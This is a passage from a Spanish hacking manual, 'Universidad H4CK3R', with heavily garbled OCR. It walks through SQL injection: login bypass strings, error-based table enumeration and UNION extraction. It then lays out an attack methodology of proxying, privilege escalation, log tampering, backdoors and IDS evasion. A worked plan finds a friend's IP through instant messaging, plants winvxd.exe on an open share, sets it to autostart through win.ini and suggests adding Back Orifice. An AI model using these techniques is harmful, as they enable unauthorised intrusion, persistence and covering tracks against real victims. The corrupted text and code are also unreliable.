F "dmin= :n flag !ue indica si el usuario tiene poderes especiales para administrar el sitio.
:n eemplo de tabla sera el siguiente=
175
ikimilikiliklik Universidad H4CK3R
3( -ombre y apellidos /ogin .ontrase)a "dmin8 0SL-1
1
&
9
?
...
Henri!ue .esar :lbrich
Mabio Zames (ella Valle
Su#anne Oarren
Mabio .ru#
...
:lbrich
ames
su#y
fcru#
...
OJr*PH
(911?V?119
palomitas de ma#
blaublau'1
...
S
S
-
-
...
2ste fragmento de la tabla revela cosas interesantes. /o !ue salta a la vista es !ue las
contrase)as de los usuarios habituales suelen ser muy d$biles, y un buen ata!ue de
diccionario fcilmente las descubrira. Pero hay algo !ue, de tan obvio, pasa
desapercibido para la mayora de las personas= los administradores a menudo son los
primeros nombres en la lista. 2n ms del B'] de los casos, el 3( 1 de la tabla
corresponde a un desarrollador, !ue sin duda se dio poderes de administrador para hacer
las pruebas necesarias. 2sta informacin ser %til ms adelante.
Volviendo al sitio. .uando el usuario rellena los campos de login y contrase)a, la
secuencia de comandos "SP los guarda, cada uno en una variable. /lamemoslas login y
contrase)a. -o es muy original, pero estate seguro de !ue un gran n%mero de sistemas
utili#an e5actamente estos nombres, algunas variaciones de ellos o su e!uivalente en
3ngl$s.
2l siguiente paso sera el script "SP para comparar los dos campos con los !ue se ha
registrado, para permitir o blo!uear el acceso al sitio. :n comando de eemplo "SP sera=
SILO'en Z [[SELECT !o.inO contr#seS#O nom/reO #"min
FROM t#/!#_s#rios
WHERE !o.in Z [ [[ \Lo.in\ [[ [
AN4 contr#seS# Z [ [[ \contr#seS#\ [[ [ [[
/o !ue hace este comando es enviar a la base de datos SE/ la lista de todos los usuarios
!ue contienen el nombre de usuario y contrase)a proporcionada. Por eemplo, si un
internauta escribe, como nombre de usuario y contrase)a, 4unior4 y 4fabio4, la cadena
SE/ se vera as=
SELECT !o.inO contr#seS#O nom/reO #"min
FROM t#/!#_s#rios
WHERE !o.in Z [Dnior[
AN4 contr#seS# Z [f#/io[
2n pocas palabras, este comando le pedir a la base de datos una lista de todos los
registros cuyo campo login sea CuniorD y su campo de contrase)a sea CfabioD. 2n un
sistema bien hecho, no habr logins repetidos, por lo !ue el banco devolver los datos del
usuario, si es !ue e5iste. .ompare el comando "SP y los comandos SE/ puros. 2n
primer lugar, las comillas separan lo !ue es una cadena pura de lo !ue es un comando
"SP. /as comillas simples se consideran parte de la cadena pura. .omo podemos ver,
los valores asignados a los campos de login y contrase)a estn entre comillas simples.
Hmmm ... 7* si pongo en el centro de mi entrada, una %nica oferta, as 0por eemplo, un
Yior1 2l resultado de comando SE/ es=
176
ikimilikiliklik Universidad H4CK3R
SELECT !o.inO contr#seS#O nom/reO #"min
FROM t#/!#_s#rios
WHERE !o.in Z [Dn[ior[
AN4 contr#seS# Z [f#/io[
2l SE/ considera el nombre de login slo CunD y el resto del nombre, el CiorD, como parte
del comando SE/. CiorD no es un comando SE/ vlido, por lo !ue la pgina devuelve un
error. 2s precisamente este error el !ue, en el futuro, nos dir la estructura de la tabla. Por
ahora, vamos a utili#arlo para introducir ms comandos SE/ en el campo login.
Pruebe, en login, escriba la siguiente cadena
[OR > Z > + +
y vea !u$ pasa. Posiblemente usted ha iniciado sesin como administradorG Vamos a ver
cmo funciona esta bruera en la cadena SE/=
SELECT !o.inO contr#seS#O nom/reO #"min
FROM t#/!#_s#rios
WHERE !o.in Z ] OR >Z> ^
AN4 contr#seS# Z ]
6raduciendo la cadena 0!ue siempre ayuda ...1= S-'-11IT"- los ca(pos login*
contrase4a* no(%re* ad(inistradorX >- Pser8a%leX >T">- login estD vaco #''& o la
condicin @ Z @* sea verdadera". 7Eupeee8 71 b 18.
2sta condicin es siempre verdadera, por eso el usuario se registra en el sistema por arte
de magia. /a contrase)a no es consultada, ya !ue todo el resto de la cadena #5
contrase4a Z ''& se define con dos comillas.
Si ya conoces el nombre de usuario de una persona y !uieres acceder al sistema con su
login, slo hay !ue poner una cadena (Dgica en el campo de la contrase)a. < bien
comentar en el campo de login, despu$s de introducir el usuario. Por eemplo, si usted
sabe !ue el nombre de login de su madre es CneideD, pruebe=
!o.inE nei"e [+ + contr#seS#E _/!#ncoJ
o
!o.inE nei"e contr#seS#E [ OR > Z >
" veces es necesario poner ' T7 @ Z @ tambi$n en el campo de la contrase)a en ve# de
comentar con guiones al final del campo login.
<tro caso es en sitios p%blicos con numerosas entradas. Podemos poner una cadena
mgica en el campo login y una contrase)a cual!uiera. 2l comando SE/ retirar a todos
los usuarios !ue tienen la contrase)a, y usted se logeara el primero de ellos. :tilice sus
listas de palabras 07recordamos el captulo @81 y entre con seguridad. 2ncontrars varios
pares de no(%reQcontrase4a. .on un poco de organi#acin, puedes hacer una lista de
nombres de usuario y contrase)as del sitio y usar 4un poco de cada uno4, dificultando
rastrear las cuentas hackeadas. Zuegue con los sitios escogidos como vctimas F sitios
con "SP y ;S SE/ son la presa perfecta. .on sus conocimientos de PHP y ;ySE/,
monte un sitio para e5perimentar y probar todos los comandos SE/ !ue pueda recordar.
+ueno, ahora !ue hemos conseguido entrar, 7!u$ tal averiguar cmo se monta la tabla8
177
ikimilikiliklik Universidad H4CK3R
Necuerde !ue estamos completamente a ciegas por ahora. :n comando conocido de
SE/ es CH"V3-TD !ue permite seleccionar grupos de campos !ue tienen un patrn
especfico. .olo!ue en el campo login, la cadena, 3aving @ Z @ ! ! y observe el resultado.
.ada gestor de bases emitir diferentes errores, pero en com%n tienen un mensae como
este=
Co!mn [seri"[ on t#/!e [m#insite[ is inv#!i" on t$e se!ecte"
!ist P
Q:yG /a base de datos nos dio el nombre de la tabla, C(ainsite, y el nombre del primer
campo de la tabla, Cuserid. "lgunas bases de datos devolveran el valor !ue toma este
campo en formato orientado a obetos, algo as como C(ainsite.PS-7I>. -o importa, ya
tenemos dos datos importantes. ;s adelante, el mensae probablemente mencionara
!ue no hay clusula CTN<:P +*D en el comando. +ueno, vamos a a)adir una clusula a
ver !u$ pasa=
:suario= [ TRO(, LY m#insiteB(SERI4 $#vin. >Z> ^
Q(iosG ;ira la respuesta de la pgina Peb=
Co!mn [ser!o.in[ on t#/!e [m#insite[ is inv#!i" on t$e se!ecte"
!ist P
*a sabemos el nombre del segundo campoG Vamos a intentarlo de nuevo=
:suario= [ TRO(,LY m#insiteB(SERI4O m#insiteB(SERLOTIN $#vin. >Z> ++
/a respuesta es=
Co!mn [sern#me[ on t#/!e [m#insite[ is inv#!i" on t$e se!ecte"
!ist P
.ontin%e su investigacin con este m$todo. .uando no haya mensaes de error, voilq,
tiene todos los campos de la tabla. "hora vamos a recuperar las filas de la tabla, o sea,
los registros de cada usuario. Vamos a usar el comando SE/ C:-3<-D=
:suario= [ (NION ALL SELECT seri" FROM m#insite WHERE >Z> X
76engo !ue e5plicarlo8 2l valor de CuseridD es devuelto en el mensae. Haga esto con
todos los campos. <bviamente, si el script est bien escrito, estos trucos no funcionan. "
menudo, el script est bien hecho y testara los campos en busca de caracteres maliciosos
"-62S de enviarlos al comando SE/. 2n estos casos no se puede entrar, pero a%n
puede tener una indicacin en el mensae de error del sitio sobre los nombres de campo,
tabla y base de datos. "note 6<(< y trate de hacer un diagrama. 6ambi$n es bueno, una
mirada a lo !ue responde en la direccin :N/ >
2sto es slo lo ms bsico acerca de SQ' Injection. Para aprender ms sobre el tema,
recomendamos leer el e5celente libro Hacking 25posed F "plicaciones Oeb de Scambray
y Sema 0Mutura Publishing L ;cTraPFHill, 9B? pginas1. :na b%s!ueda en Toogle de las
palabras 4SE/ 3nection4 devolver prcticamente toda la documentacin disponible sobre
el tema.
178
ikimilikiliklik Universidad H4CK3R
A;omos todos 1ulnera&lesC
Por desgracia, la respuesta, en una palabra es, s. -uestros sistemas de informacin, con
todos los parches, service packs y revisiones son defectuosos por!ue se han desarrollado
sin tener en cuenta la seguridad. 2s mucho ms fcil plantar rboles !ue hacer
trasplantes.
-o podemos, ni !ueremos, ni tenemos espacio para demostrar a fondo todos los tipos de
vulnerabilidades. /os captulos @, Vulnerabilidades 3 y este slo serviran para tomar
contacto con algunas pocas t$cnicas sobre el tema. 2n los pr5imos captulos, vamos a
dar una visin ms clara de cmo planificar un ata!ue, cmo defender y !u$ hacer en
caso de invasin.
Hablando sobre el contraata!ue, se ha lan#ado recientemente un 4uguete4 !ue ca#a y
destruye a los hackers invasores. "cceda a PPP.backfiresecurity.co.uk y sabr ms sobre
$l.
179
ikimilikiliklik Universidad H4CK3R
Parte $
9W ")o de la universidad=
.onvertirse en un hacker
180
ikimilikiliklik Universidad H4CK3R
"ta!ue, defensa
y contraata!ue
Introduccin
.apitulo F 1'
0>1 .omo hi#o Nomulo, o como !uiera !ue
se llamase el efe de a!uellos tipos, para
conseguir mueres para si y para sus
compa)eros. (io una gran fiesta 0>1 he
invito a sus vecinos, los sabinos 0>1 !ue
traeron a su rey, 6ito 6a#io, y sobre todo a
sus hias 0>1
3ndro ;ontanelli, 4Storia di Noma4, 1BI@
:n e5celente eemplo de ingeniera social de a!uel tiempo.
/a fase de planificacin de este festival es algo digno de leer.
181
ikimilikiliklik Universidad H4CK3R
/legamos a la parte crucial de nuestro curso. Hasta ahora hemos visto diversas t$cnicas
puntuales y especficas de ata!ue, utili#ando herramientas disponibles o basadas en
conceptos muy rudimentarios. Muera de eso pasando por los captulos Vulnerabilidades 3
y 33, no se mostr una estrategia o planificacin. Haciendo una analoga con el mundo
real, nos ense)an a apretar tornillos, a estampar pie#as en acero, el dise)o de circuitos
el$ctricos, la instalacin del est$reo de su automvil y la fabricacin de pie#as de plstico
y neumticos a partir de derivados del petrleo. Pero no nos ense)an cmo montar el
coche.
" partir de ahora, empe#amos a ver las cosas de una manera ms sistemtica, siguiendo
un orden lgico y fundamentando todos los procedimientos con informacin sobre las
tecnologas involucradas.
:- ;<;2-6<= para fines didcticos, consideramos !ue el lector !uiere convertirse en un
%lac/ 3at y orientamos el te5to a ese obetivo. Sin embargo, los autores repudian eso y se
e5imen de la responsabilidad de cual!uier acto derivado de la informacin contenida en
este documento, su uso es responsabilidad del lector. Necuerde !ue esta informacin
est disponible gratuitamente en lnea y se pueden encontrar fcilmente.
6os seis 7asos 7ara un 8acking feli>
7Seis8 7-o eran cuatro8. 2n el captulo @ 0Vulnerabilidades 31, se describe una pe!ue)a
gua para la planificacin y eecucin de ata!ues, !ue reproducimos a continuacin=
1. (espu$s de descubrir la vulnerabilidad, no trate de invadir a su presa inmediatamente.
"l contrario, cono#ca a su vctima. Visite su sitio Peb 0sin ata!ue, tan slo mirar1. Si esta
en su ciudad, visite su sede y trate de averiguar ms sobre los productos, trabaos,
servicios, empleados, hbitos ... Se pueden utili#ar t$cnicas pasivas 0de observacin para
ver lo !ue pasa y lo !ue sale de la m!uina o red1 o activas, tales como la organi#acin
de miniata!ues a lugares aislados y comprobar los mensaes !ue se devuelven. /o
importante es recoger informacin suficiente para elaborar un plan de accin, meor con
varias alternativas, en caso de !ue algo vaya mal.
&. 2l acceso por primera ve# nunca se olvida. 2sta es la parte ms importante del ata!ue.
Se podra decir !ue este paso es el ata!ue en s. (espu$s de descubrir la vulnerabilidad y
e5aminar el comportamiento de la vctima, utilice el Ce5ploitD adecuado para obtener un
acceso limitado al sistema. * no se olvide de usar un pro5y publico para ocultar su
direccin 3PG
9. :na ve# con acceso limitado, el siguiente paso consiste en tener acceso completo a la
m!uina 0acceso CrootD en :ni5, y de CadministradorD en sistemas Oin-6 F en OinB5, el
primer acceso ya proporciona un control total1. .ada sistema operativo tiene diferentes
procedimientos para hacerlo. :na ve# !ue tenga acceso sin restricciones, simplemente
recoa la informacin deseada y, si fuera el caso, desconfigure el sistema.
?. "hora !ue se ha 4apropiado4 del sistema, trate de borrar sus huellas e instalar puertas
traseras. .ompruebe los registros del sistema y borre lo !ue en $l se diga de su visita,
QP2N< S</< 2S<G. Nesista la tentacin de eliminar el registro del todo F un 4aguero4 en
182
ikimilikiliklik Universidad H4CK3R
el registro de sucesos har !ue el administrador descubra, antes de lo esperado, !ue
alguien estuvo pasendose por su e!uipo. (espu$s de hacer la ciruga en los logs, instale
backdoors. "lgunos hackers con ms e5periencia tienen el cuidado de parchear el
sistema para !uitar las puertas !ue les dearon entrar, evitando as !ue otros hackers
menos calificados entren en el sistema, y por descuido, alerten al administrador !ue se
invadi la m!uina.
Pero en este punto del libro, nuestro obetivo no es actuar como los 4script kiddies4, !ue
deambulan por 3nternet en busca de presas fciles de ca#ar. 2n su lugar, !ueremos
hacernos una idea de cmo los %lac/ 3ats, digamos,4profesionales4 trabaan para
alcan#ar sus obetivos en un blanco especfico, sea cual sea su nivel de dificultad. "s !ue
vamos a tratar de separar, por afinidades, nuestros esfuer#os en seis pasos distintos.
.omo la guerra es el tema del momento, vamos a utili#ar t$rminos militares para
referirnos a cada uno de ellos. 6al ve# las .ru#adas, las guerras del Paraguay, Vietnam,
"fganistn, los conflictos en Palestina o incluso la segunda guerra del Tolfo hayan
pasado. Pero los cyberFcombates entre hackersLcrackers y los administradores de
sistemas tendrn una duracin de muchos a)os, !ui# siglos.
! 2aso @6 2lanificacin
Hmmm, es difcil decir si esto es realmente el primer paso. (e hecho, todas las medidas
son interdependientes= necesitamos la informacin obtenida en cada movimiento para
poder planificar 0y corregir1 nuestra ofensiva correctamente. /a secuencia de actividades
por lo tanto, podra ser algo as como 1F&F1F9F1F?F1FIF1FJF1 en lugar de la secuencia 1F&F
9F?FIFJ.
.omo cual!uier plan necesita austes, casi todas las tareas se pueden subdividir en varias
ms especficas, nos damos cuenta de !ue el proceso de planificacin ser permanente a
lo largo de la batalla y se prolongar hasta bien despu$s de la finali#acin del ata!ue.
6odos los detalles del ata!ue tienen su propio plan 1F&F1F9F1F?F1FIF1FJF1. Si usted no
documenta muy bien cada uno de los pasos !ue tiene !ue dar, terminara con un bocado
demasiado grande como para masticarlo sin hacer estallar la boca. * no se olvide= el
m$todo utili#ado para ocultar las pruebas del crimen, son tambi$n parte de la
planificacinG
-o basta con saber lo !ue ests haciendo. (ebes saber por !u$ lo ests haciendo. Si
usted tiene una respuesta, rpida, cuando se le pregunta, DHey, 7por !u$ !uieres invadir
mi empresa84 puede seguir adelante. Pero no olvide !ue, una ve# dentro, se reali#ar un
seguimiento. Si ya sabe !u$ hacer cuando se est entre los muros del castillo, muy bien.
Si usted no lo sabe, no lo intenteG -o hay !ue olvidar !ue, en funcin de sus intenciones,
est incurriendo en un delito.
! 2aso B6 T%servacin
6odas las operaciones militares, ya sean rebeldes o del gobierno, deben basarse en
informaciones precisas y detalladas sobre el obetivo. 2l conunto de datos necesarios
incluyen varios subconuntos aparentemente sin relacin= datos personales, hbitos,
habilidades profesionales, aficiones, familia, amigos, antiguas novias, datos corporativos,
la erar!ua interna, los clientesLcompetidoresLproveedores y los datos sobre los sistemas
183
ikimilikiliklik Universidad H4CK3R
de informacin .. . (e la monta)a de datos obtenidos, todava es necesario e5traer
informacin no disponible directamente, haciendo referencias cru#adas, y, literalmente,
4leyendo entre lneas4.
"!u se pueden utili#ar varias t$cnicas. /a ms obvia y efica# 0aun!ue menos directa y
ms peligrosa1 es la ingeniera social. Pero sin contar ninguna mentira, se puede obtener
una coleccin ra#onable de informacin a trav$s de 3nternet o de la observacin directa.
-o se apure= /a palabra clave a!u es la paciencia.
! 2aso C6 9Asqueda
.on planos, mapas y listas de tareas en la mano, podemos empe#ar a buscar los
agueros por los !ue entramos. (eben estar disponibles, un gran y variado arsenal de
escaneres de puertos y vulnerabilidades, para !ue todos los puntos d$biles sean
revelados. "l igual !ue en el paso anterior, la paciencia es uno de los ingredientes ms
importantes de este paso. Pero no el %nico. -o basta utili#ar una herramienta !ue revele
el aguero de seguridad si usted no entiende cmo funciona.
! 2aso E6 Invasin
Hay varias maneras de obtener acceso al sistemaFobetivo. 2n los captulos
Vulnerabilidades 3 y 33 vio algunos. Pero son las t$cnicas puntuales, las !ue e5plotan las
debilidades especficas de un sistema. /o meor es saber cmo agrupar las diversas
t$cnicas disponibles para lograr un obetivo mayor. Por otra parte, a menudo es necesario
pasar por varios niveles de acceso para alcan#ar el poder suficiente para lograr el obetivo
final del ata!ue.
! 2aso G6 <anteni(iento
-o todos los administradores de red son idiotas. /a mayora, de hecho, no lo son. :na
ve# detectada una vulnerabilidad !ue permite un ata!ue, un administrador dotado de
sentido com%n aplica los parches de seguridad, cerrando la brecha. Si ya invadi una ve#,
por un aguero de seguridad o un fallo en un programa, es posible !ue su pr5imo intento,
das ms tarde, sea in%til= la puerta estar cerrada. :na ve# dentro de los muros del
castillo, debe instalar los medios para !ue pueda entrar y salir sin ser notado, !ue es algo
independiente de las lagunas de seguridad en el sistema.
! 2aso H6 -vasin
4*a invadi, ya copi, ya desfigur, borr y destro#, y ademas de puertas secretas a
trav$s de las cuales entra y sale sin ser molestado. * ahora, 7!u$84. +ueno, pe!ue)o
saltamontes, es el momento de borrar las huellas !ue deaste. 2ste paso comien#a ya en
la preparacin del ata!ue, escogiendo las herramientas y los procedimientos menos
ruidosos, con cuidado de no dear evidencias en el registro del siste(a y, sobre todo,
tratando de descubrir antes de entrar si hay un 3(S activo. (espu$s de hacer lo !ue deba
hacer 0modificacin, copia de archivos y programas y lan#ar otros ata!ues1, borre
cuidadosamente sus &uellas en los archivos de registro del sistema, teniendo cuidado de
no daar otros datos grabados. 2s un fallo muy e5tendido 4limpiar4 demasiado el 0log1
registro. <tra precaucin !ue debe tomarse en los pasos iniciales de la planificacin es la
184
ikimilikiliklik Universidad H4CK3R
prevencin de los sistemas de deteccin de intrusos, los conocidos 3(S.
= 5l 7ortal
2stamos a punto de entrar en el lado oscuro. :na ve# all, muchos se vern tentados de
no salir. 2s un riesgo !ue todos tenemos !ue correr. 2n las pginas siguientes veremos
en detalle cmo llevar a cabo cada uno de los pasos !ue se ven a!u. /a eleccin es toda
tuya, !uerido lector.
/a meor manera de organi#ar las ideas es conseguir un peda#o de papel 0yo prefiero el
papel a la pantalla del ordenador1 y garabatear algunas cosas. ;ucha gente se pregunta
por dnde empe#ar, olvidando !ue lo %nico !ue saben es a donde !uieren llegar. "s !ue
vamos a empe#ar por el final. -uestra meta es gastar una broma a un amigo con un
programa inofensivo y molesto 0aburrido, inclusoG1.
PN<TN";"
"+:NN3(<
Slo ese marco ya plantea varias preguntas=
1. 7Eu$ programa utili#ar8
&. .omo se instala8
9. Se activar por tiempo o por eventos8
?. 6iene un tama)o m5imo definido8
I. Su amigo entiende de ordenadores y sabr !u$ hacer cuando el programa CsalteD8
J. Euiere !ue el programa diga el nombre del autor de la broma o !ue guarde silencio
hasta rerse lo suficiente8
:na ve# planteadas las preguntas iniciales 0no te preocupes, aparecern mas...1, tenemos
!ue tomarnos alg%n tiempo para pensar e investigar para responderlas. "lgunas
respuestas plausibles podran ser=
1. Su amigo es un fantico seguidor del +aroa. :n enfermo. .uenta con cromos,
camisetas oficiales autografiadas por ugadores de distintos a)os, es miembro fundador
del club ... 7Eu$ tal una animacin Mlash, creada por a!uel colega suyo !ue es dise)ador
Peb, celebrando la derrota del +aroa por el Neal ;adrid8
7"nimacin Mlash8 2sto significa !ue la vctima utili#a OindoPs. Si utili#a un ;ac o :ni5
no va a funcionar. 2ste es un eemplo de cmo la planificacin, aun!ue va bien, necesita
austes. 7Se imagina si hubiese enviado la animacin 4esa locura4 y descubre ms tarde
!ue no funcion debido a !ue su amigoLvctima utili#a Mree+S(8
6enemos, entonces, a trav$s de la ingeniera social 0o con la ayuda de -map ,...1 !ue
conocer el sistema operativo de la vctima. " trav$s de la ingeniera social, descubrimos
!ue es OindoPs ;e.
&. /a instalacin es otro problema. :sted puede hacer !ue su amigo instale la bomba por
185
ikimilikiliklik Universidad H4CK3R
usted, slo tiene !ue enviarla por eFmail diciendo !ue es un vdeo divertido. Sin embargo,
la vctima es desconfiada 0eso ya lo sabe, lo conoce desde hace a)os1, y no abrir
cual!uier cosa !ue le enven.
:sted podra desarrollar un correo electrnico H6;/ con un V+Script !ue instala
automticamente el programa, pero hay !ue saber !u$ cliente de correo electrnico
utili#a. " trav$s de la ingeniera social, descubrimos !ue utili#a C6he +atD
0PPP.ritlabs.comLthe.bat F los autores lo recomiendan GGG1, !ue es muy apreciado,
precisamente por!ue es inmune a estas cosas.
< usar una vulnerabilidad en OindoPs. Para eso necesitamos eecutar cual!uier escner
como 6map. Pero no tenemos su 3P, entonces es necesario usar alg%n truco para
descubrirlo.
:sted debe encontrar una manera de hacer !ue el Mlash se dispare despu$s de un tiempo
o responda a un evento. /as tres opciones mas simples, sin tener !ue interactuar
profundamente con el propio sistema operativo, son=
F :n troyano, por lo !ue podrs controlar a distancia la bomba_
F 2l Mlash 4fundido4 a un programa del sistema 0como la calculadora o el +loc de notas1
para !ue, cuando se abra, entre en funcionamiento_
F 2ecutarse el propio Mlash en el arran!ue y dar un tiempo de espera de por lo menos
una hora para entrar en accin_
F :na combinacin de todos ellos.
2n estos casos, necesitamos saber cmo es la cone5in de nuestro amigo para
determinar el tama)o de la animacin. Si la vctima tiene un mdem de 99,J S,
ciertamente notara si estamos haciendo una subida de & ;bytes de animacin en Mlash ...
Preguntando, descubres !ue est abonado a un gran proveedor nacional de acceso
rpido F ;ira, una informacin !ue puede ser %til ms adelante ...
Su amigo es inteligente, es un ingeniero electrnico y un usuario avan#ado de
computadores. Sin embargo, no entienden los detalles internos del softPare 0su negocio
es de hardPare1 y siempre le pide ayuda para 4calibrar4 OindoPs cuando 4se blo!uea 4.
07Euien sabe si no es por eso !ue tu, inconscientemente, est$s haciendo esta putadita81
Hmm ... si pones todas esas preguntas, respuestas y ponderaciones sobre las respuestas
en una hoa de papel, despu$s de alg%n tiempo leyendo y releyendo el resultado, tenemos
el diagrama. /a ultima pregunta !ue surge de su anlisis es= 7cmo entrar8 -o sabemos
cuales son las vulnerabilidades e5istentes, nosotros no tenemos la 3P de la vctima para
buscarlas.
Hay varias maneras de obtener 3P de alguien. :na es preguntndolo. /a mayora de la
gente no va a sospechar !ue es para algo 4malo4. Pero no es el caso de su amigo.
7"lguna ve# hablas con $l a trav$s de ;ensaera 3nstantnea8. Hace unos a)os, el
mismo cliente de ;ensaera 3nstantnea deca la 3P de otra persona. Hoy en da e5iste la
posibilidad de ocultar esta informacin. Sin embargo, seg%n la versin y las opciones
elegidas en la configuracin, los ms modernos pueden revelar esa informacin. 2so es
por!ue la ;ensaera 3nstantnea se puede conectar en ambos lados de la conversacin
ya sea directamente o a trav$s de un servidor central.
186
ikimilikiliklik Universidad H4CK3R
Vamos a hacer un intento. 2spera !ue $l este en lnea y comien#a una conversacin.
"paga todos los accesos a 3nternet en tu ordenador= correo electrnico, navegadores,
e;ule, Sa,a", ;S- ;essenger, deando slo la ;ensaera 3nstantnea. 3ntercambia
algunos mensaes con $l y pdele !ue te enve alg%n archivo relativamente grande 0;P9,
imgenes, programas, lo !ue sea1. "ntes de aceptar el envo, abra una ventana de ;SF
(<S.
(urante la transferencia, utilice el comando netstat -na en la ventana de ;SF(<S, de la
misma manera como lo hi#o en los captulos Vulnerabilidades 33 y Nedes 33. 2n la lista de
cone5iones !ue van a aparecer, las %ltimas de ellas son las 3Ps de tu conversacin y del
intercambio de archivos. /a direccin 3P remota !ue se muestra es la de el.
2ste truco funciona con cual!uier transferencia de datos en lnea entre los dos e!uipos. 2l
correo electrnico no est en lnea, el !ue transfiere es el servidor S;6P, no la persona
!ue lo envi. 2n el caso de ;S- ;essenger, "</ 3nstant ;essenger y *ahoo
;essenger, los mensaes son siempre intermediados por sus servidores, por lo !ue
netstat mostrar la 3P del servidor Passport.-26, por eemplo ... .on una e5cepcin= la
transferencia de archivos peerFtoFpeer. Si su amigo utili#a ;S-, pdale !ue le enve un
archivo grande. /a 3P sin duda van a aparecer en la lista de CnetstatD con este truco.
"hora !ue tenemos 3P de la vctima, la escaneamos. :sando -map, encontramos !ue,
por descuido, nuestro amigo ingeniero de las comparticiones de disco duro activas y sin
contrase)as. -ada podra ser ms sencillo !ue abrir un e5plorador de 3nternet y escribir
dd3P.(2./".Vn.63;"."E:n. *a se encuentra en su m!uina, usted puede abrir y editar
archivos.
.on estos cambios, nuestro diagrama ya es funcional. 7Preparamos ahora, una lista
secuencial de los pasos para nuestro ata!ue8 "l fin y al cabo, no podemos hacer todo al
mismo tiempo, as !ue tenemos !ue organi#ar las cosas. " continuacin hay una lista de
pasos. 2s interesante dear un espacio debao de cada tema, as usted puede escribir los
resultados, comentarios o problemas.
/os comentarios entre par$ntesis no son parte de la secuencia de comandos. 2llos son
%nicamente una gua para la elaboracin del plan de trabao para cumplir los fines
previstos.
= Pasos 7ara 8ackear a fulano de tal
1. 3ngeniera social= conversacin informal para encontrar los detalles del sistema
operativo.
&. +uscar= (eterminacin de la 3P con ;ensaera 3nstantnea y netstat. Si el paso 1 se
reali#a tambi$n por mensaera instantnea, mat a dos paros de un tiro. 0Euemar
etapas es deseable dado !ue no interfiere en su seguridad.1
9. 2scanear a la vctima con 6map y luego comprobar las vulnerabilidades con 6essus.
0/a lista se detendra a!u hasta descubrir !ue atacar. 2s un eemplo de 1F&F1F9F1.1
?. (escubierta la vulnerabilidad de comparticin. Preparar el archivo con bomba !ue se
implantara en la vctima. Mlash con bomba de espera. :sar rutinas y tal y tal. 0:tilice
siempre herramientas y lenguaes !ue cono#ca bienG /os resbalones son fatales >1
187
ikimilikiliklik Universidad H4CK3R
I. Pruebe el archivo localmente. .ambie el nombre a $inv)d.e)e. 0Siempre instale un
sistema operativo id$ntico al de la vctima. 3nstale programas similares a los de ella y trate
!ue su m!uina este muy pr5ima a la configuracin del e!uipo afectado. .uando en
alguna etapa, de la orden de copiar alg%n archivo al ordenador de la vctima, cambie el
nombre con nombres similares a los del sistema1.
J. l<pcionalm Prueba los pasos del n%mero siete en adelante en un ambiente controlado.
(espu$s de asegurarte de !ue esta secuencia de comandos funciona, ataca el ordenador
de la vctima. 0<pcional casi obligatorio. Neali#a un ata!ue similar en un e!uipo similar, en
el !ue puedas verificar la valide# del ata!ue. :n amigo podra ayudarte. /a colaboracin
es importante en este entorno.1
@. .one5in a la computadora. :tilice 3nternet 25plorer con la direccin
ddKKK.***.,,,.:::. 0Hay !ue acostumbrarse a poner la informacin especfica en sus
recorridos, como los programas a utili#ar, las opciones y configuracin de estos
programas, direcciones, puertos y protocolos utili#ados en el ata!ue. -o slo las etapas
generales. :n ata!ue debe ser rpido para ser efica# e indetectable. Euedarse buscando
las opciones ocultas de un programa durante la invasin es pedir ser pilladoG1
A. .opie el archivo $inv)d.e)e en .=dOindoPs. 06enga cuidado con los archivos de gran
tama)o. Nalenti#ar la cone5in de 3nternet y generar una gran actividad del disco duro son
eventos muy sospechososG1
B. "bra el archivo .=dPindoPsdPin.ini, y en la lnea 4run b4 teclee c=dPindoPsdPinv5d.e5e.
0runbc=dPindoPsdPinv5d.e5e1.
1'. 2spera y empie#a a rerte un montnG
2st claro !ue nuestro ata!ue no era importante, la vctima fcil y el programa no muy
elaborado y fcilmente detectable. Pero, resulta !ue funcionaG
-uestro guion es tambi$n bastante simple, aun!ue sea posible un ata!ue por $l. Sin
embargo, 7por !u$ no un cierto nivel de refinamiento8 "lgunas ideas=
F Preparar un +ack <rifice 0preferiblemente +'&S1 e instalarlo unto con Mlash en $in.ini.
3ncluso cuando todo sea descubierto 0el $in.ini restaurado y flash apagado1 nuestra
puerta trasera esta en el registro de OindoPs, y por tanto siempre activa cuando la
vctima enciende el e!uipo.
F Hablando de registro, usa3o en lugar de $in.ini. 2ste procedimiento necesita ms pasos,
la creacin de un archivo con e5tensin C.regD para actuali#ar el registro de la vctima y,
probablemente, una comprensin ms profunda de su funcionamiento 0v$ase el captulo
sobre las plataformas de OindoPs1.
F /os lugares obvios son los %ltimos en ser registrados. :na ve#, alguien me gasto una
broma. ;i ;SF(<S I se congel al final de la carga del .<M3T.S*S. 2so fue un aviso,
pero lo ignor$. (ecidido a encontrar el problema en lugar de volver a instalar todo el
sistema 0haba muchos programas, algunos de los cuales deban ser instalados por el
188
ikimilikiliklik Universidad H4CK3R
personal de la (P.1, arran!ue desde un dis!uete y abr el .<-M3T.S*S, revisando todas
las lneas, una a una, para comprobar errores. -ada !ue hacer. +us!ue infructuosamente
en todo el sistema en busca de problemas. (espu$s de dos horas, decid abrir el
":6<2K2..+"6 solo por probar. .asi me ca hacia atrs. "l principio del archivo, dos
lneas=
N ECHO OFF
cE\Atoe&ecB/#t
-o necesito decir ms ...
= Una ultima 7ala&ra so&re la 7lanificaci/n
Si ha llegado hasta a!u y dio= 4<ye, pero estos no han ense)ado nada difcilG Eue
por!uera de libroG4. /o siento, pero este libro realmente no es para usted. 2l obetivo de
este captulo es mostrar, con el prete5to para una invasin simple, como organi#arse para
hacerlo.
2n los pr5imos captulos veremos los siguientes pasos de nuestros ata!ues=
observacin, b%s!ueda, invasin, mantenimiento y evasin. Se incluyen algunas t$cnicas
adicionales y lugares dnde encontrar ms informacin. Pero con lo !ue tenemos hasta
ahora 0y con un poco de buena voluntad para la investigacin1, ya es posible atacar,
defender o incluso contraatacar a cual!uier persona o institucin.
/os autores vuelven a avisar= la responsabilidad del uso de esta informacin es suya, no
nuestra. Handle Pith care.
189
ikimilikiliklik Universidad H4CK3R
"ta!ue, defensa y
contraata!ue
F+servacin
.apitulo F 11
4*ou have to be trusted
by the people you lied to
so Phen they turn their backs on you
you have the chance to put the knife in4
Noger Oaters, 4(ogs4
Has de ser creble, para la gente !ue mentiste,
as cuando te den la espalda, tienes la opcin de clavarles el cuchillo.
(el lbum "nimals 0Pink Mloyd1, 1B@@
190
ikimilikiliklik Universidad H4CK3R
/a diferencia entre los 4script kiddies4 y los Cblack hatsD ms inteligentes est en esta
etapa 0de hecho, comien#a en la anterior, pero muchos buenos %lac/ 3ats reconocidos
